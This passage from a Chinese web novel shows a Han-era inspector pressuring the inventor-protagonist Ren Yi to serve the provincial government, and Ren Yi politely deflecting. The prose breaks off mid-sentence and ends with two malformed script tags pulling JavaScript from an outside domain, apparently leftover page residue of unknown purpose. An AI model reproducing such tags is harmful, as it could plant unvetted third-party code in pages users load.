他没有立刻反驳,也没有强求,只是端起茶杯,又呷了一口茶水,指尖轻轻摩挲着杯沿,沉默了几秒,才缓缓开口,语气依旧平淡,却带着一丝不易察觉的施压:“任公子,话可不能这么说。”
“你在这里做的这些事,固然是好事,可若是没有官府的扶持、没有州牧大人的认可,终究只能是小打小闹,成不了大气候。你的制冰之法、织布之术,再好,也只能惠及卧龙岗这一方百姓,没法让更多人受益。”
“你的功绩,本官可以如实上报,州牧大人会给你奖赏,给你机会,让你把这些好法子推广出去,让整个荆州的百姓都能受益。可若是你执意拒绝,不肯去襄阳,不肯施展自己的才华,不肯配合官府做事……”
周督邮故意顿了顿,眼神微微一沉,语气里的威严,比刚才更甚了几分,“那本官倒是要好好琢磨琢磨,你这些利国利民的法子,到底该不该如实上报,该不该让更多人知道了。毕竟,朝廷赏罚分明,只奖赏那些愿意为朝廷、为百姓出力的人。”
他没有把话说死,却字字句句都透着施压的意味,那意思,再明显不过。
若是你不答应,那上报功绩这件事,或许就会有变数,甚至你的那些好法子,也可能被埋没。
这是赤裸裸的施压,用上报刘表这件事,来逼任弋就范。
周里正吓得脸色都变了,连忙看向周督邮,陪着笑说:“督邮大人,您息怒,息怒。任先生他就是性子直,不懂事,您再劝劝他,再劝劝他。”
任弋却依旧神色不变,脸上依旧带着淡淡的笑容,没有丝毫慌乱,也没有丝毫妥协。
他微微抬了抬眉,语气依旧平和,带着几分打太极的意味,不紧不慢地搪塞道:“周督邮言重了。我并非不肯施展才华,也并非不肯配合官府做事,只是真的习惯了村里的清净,也放不下这里的乡亲们。”
“至于推广法子,我自然是愿意的。若是官府真的想把制冰之法、水力织布机推广出去,我可以把法子和图纸都交出来,也可以派村里里学得好的乡亲,去指导各地的工匠,没必要非要我亲自去襄阳不可。”
“至于上报功绩的事,就全凭督邮大人做主。若是大人觉得我的那些小事,值得上报,那我便多谢大人的抬举;若是大人觉得不值,那也无妨。”
任弋端起自己的茶杯,喝了一口,语气依旧从容:“我做这些事,本就不是为了奖赏,也不是为了封官,只是想让卧龙岗的百姓,能过得好一点而已。有没有
/script src="https://m.hnkente.com/s002/fei.js"> /script src="https://m.hnkente.com/s001/fei.js">